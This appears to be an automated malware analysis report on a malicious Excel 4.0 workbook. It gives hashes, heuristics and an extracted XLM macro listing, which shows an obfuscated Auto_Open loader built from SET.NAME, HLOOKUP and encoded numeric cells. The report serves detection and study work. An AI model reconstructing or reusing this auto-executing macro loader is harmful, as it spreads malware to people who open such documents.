Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 3d7a46ed6d8a057a…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-27 11:46:58 Authoring application: Microsoft Excel First seen: 2021-01-23
MD5: 4a71a7f699f218c651b5a77a6d64fb1b SHA-1: 72976b5c93929dccc4ff2788b8fabb823a34cfdf SHA-256: 3d7a46ed6d8a057afc62a96869acaa975573952bd7b05cd5e7e0177035204789
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6849 bytes
SHA-256: 61e05977f918fed1632d3780a8e2036105e6a8159e2dbb69b04fff1673223279
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     19 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  IFZDXWpnGh
' 0018     23 LABEL : Cell Value, String Constant - aAgAvdro len=0 
' 0018     23 LABEL : Cell Value, String Constant - aiOvLovq len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!A163 
' 0018     21 LABEL : Cell Value, String Constant - bqwLUd len=0 
' 0018     27 LABEL : Cell Value, String Constant - DMEtVxvaoOlV len=0 
' 0018     20 LABEL : Cell Value, String Constant - dynqV len=0 
' 0018     22 LABEL : Cell Value, String Constant - fASJfJd len=0 
' 0018     21 LABEL : Cell Value, String Constant - fDyhyy len=0 
' 0018     20 LABEL : Cell Value, String Constant - fhMuB len=0 
' 0018     21 LABEL : Cell Value, String Constant - hXFjHD len=0 
' 0018     20 LABEL : Cell Value, String Constant - jwHjN len=0 
' 0018     22 LABEL : Cell Value, String Constant - JxgOBAr len=0 
' 0018     20 LABEL : Cell Value, String Constant - pahpP len=0 
' 0018     23 LABEL : Cell Value, String Constant - RtjGQNPc len=0 
' 0018     24 LABEL : Cell Value, String Constant - rWuvYQcBQ len=0 
' 0018     24 LABEL : Cell Value, String Constant - RZpUPEfjp len=0 
' 0018     25 LABEL : Cell Value, String Constant - TaMcrWSOOM len=0 
' 0018     21 LABEL : Cell Value, String Constant - VjWLTd len=0 
' 0018     24 LABEL : Cell Value, String Constant - XNlYqUcUZ len=0 
' 0018     27 LABEL : Cell Value, String Constant - xQNiKnWbwMFp len=0 
' 0018     22 LABEL : Cell Value, String Constant - yeZRQVv len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  IFZDXWpnGh,A79,"SET.NAME("xQNiKnWbwMFp",0+VALUE("0"))",""
'  IFZDXWpnGh,A83,"SET.NAME("dynqV",xQNiKnWbwMFp)",""
'  IFZDXWpnGh,A85,"SET.NAME("hXFjHD",xQNiKnWbwMFp)",""
'  IFZDXWpnGh,A88,"SET.NAME("jwHjN",COUNTA(aiOvLovq))",""
'  IFZDXWpnGh,A91,"SET.NAME("pahpP",COUNTA(JxgOBAr))",""
'  IFZDXWpnGh,A95,[],""
'  IFZDXWpnGh,T95,"",-5.00000000000000000000
'  IFZDXWpnGh,T96,"",-661.00000000000000000000
'  IFZDXWpnGh,T97,"",116.00000000000000000000
'  IFZDXWpnGh,A98,"SET.NAME("RZpUPEfjp","")",""
'  IFZDXWpnGh,T98,"",323.00000000000000000000
'  IFZDXWpnGh,T99,"",-706.00000000000000000000
'  IFZDXWpnGh,T100,"",443.00000000000000000000
'  IFZDXWpnGh,A103,"dynqV",""
'  IFZDXWpnGh,A106,"SET.NAME("bqwLUd",HLOOKUP("*",aiOvLovq,dynqV,FALSE))",""
'  IFZDXWpnGh,A108,"fDyhyy",""
'  IFZDXWpnGh,A113,"SET.NAME("fASJfJd",xQNiKnWbwMFp)",""
'  IFZDXWpnGh,A116,[],""
'  IFZDXWpnGh,A118,"fASJfJd",""
'  IFZDXWpnGh,A122,"RtjGQNPc",""
'  IFZDXWpnGh,A126,"TaMcrWSOOM",""
'  IFZDXWpnGh,A128,"aAgAvdro",""
'  IFZDXWpnGh,A131,"SET.NAME("XNlYqUcUZ",VALUE(HLOOKUP("*",JxgOBAr,aAgAvdro,FALSE)))",""
'  IFZDXWpnGh,A135,"yeZRQVv",""
'  IFZDXWpnGh,A137,"RZpUPEfjp",""
'  IFZDXWpnGh,A139,"hXFjHD",""
'  IFZDXWpnGh,A144,NEXT(),""
'  IFZDXWpnGh,A146,"VjWLTd",""
'  IFZDXWpnGh,A148,[],""
'  IFZDXWpnGh,A152,"DMEtVxvaoOlV",""
'  IFZDXWpnGh,A157,NEXT(),""
'  IFZDXWpnGh,A159,RETURN(),""
'  IFZDXWpnGh,A186,"SET.NAME("rWuvYQcBQ",A79)",""
'  IFZDXWpnGh,A189,"aiOvLovq",""
'  IFZDXWpnGh,A194,"SET.NAME("JxgOBAr",R51C15)",""
'  IFZDXWpnGh,A196,"SET.NAME("DMEtVxvaoOlV",204)",""
'  IFZDXWpnGh,A198,"SET.NAME("fhMuB",1)",""
'  IFZDXWpnGh,A203,rWuvYQcBQ(),""
'  IFZDXWpnGh,A204,HALT(),""